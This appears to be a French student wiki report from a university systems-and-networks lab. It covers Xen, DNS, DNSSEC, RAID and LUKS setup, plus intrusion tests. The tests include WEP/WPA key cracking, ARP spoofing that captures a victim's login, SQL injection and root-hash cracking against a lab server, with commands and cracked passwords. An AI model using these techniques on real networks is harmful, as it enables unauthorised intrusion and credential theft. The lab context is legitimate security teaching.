Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
=== Partie 7 ===&lt;br /&gt;
&lt;br /&gt;
iptables -P FORWARD DROP&lt;br /&gt;
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54858</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54858"/>
				<updated>2020-12-17T14:28:37Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
